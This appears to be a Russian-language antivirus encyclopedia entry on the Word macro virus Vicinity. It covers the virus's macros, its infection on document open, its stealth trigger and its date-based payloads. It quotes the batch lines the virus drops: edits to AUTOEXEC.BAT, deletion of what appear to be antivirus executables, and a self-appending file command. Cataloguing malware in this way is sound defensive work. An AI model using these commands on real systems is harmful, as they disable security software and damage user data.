Virus.MSWord.Vicinity

Technical Details

Зашифрован, содержит 3 макроса: AutoOpen, ExtrasMakro(стелс), QuickSilver.
Заражение происходит при открытии файлов (AuotOpen).
Подменяет меню ToolsMacro (стелc), если в WIN.INI не прописана в разделе
[QuiteVicinity.02] строка «MFake = no». Если установлен Windows 3.1, то
создает файл «C:SYSLOG1.BAT», записывает в него команду снятия атрибута
read-only с какого-то файла, а в AUTOEXEC.BAT вставляет строки:

echo off
call c:syslog1.bat

Содержит MessageBox:

Microsoft Word 1.0
Zur Zeit ist keine Dokumentvorlage aktiviert !

После 1997, 1, 15 заменяет «. SAP» на «. SБP», «%%%7%%%» на «%%%8%%%».
После 1997, 6, 15 создает файл «C:BOOTLOG.BAT», который запускается из
AUTOEXEC.BAT:

if exist c:w95guardwgfe.exe del c:w95guardwgfe.exe
if exist c:winguardwgfe.exe del c:winguardwgfe.exe

После 1997, 8, 15 создает файл «C:SYSLOG2.BAT» со строками:

echo Datenmuell >> c:netstat.con
attrib -R c:netstat.con
type c:netstat.con >> c:netstat.con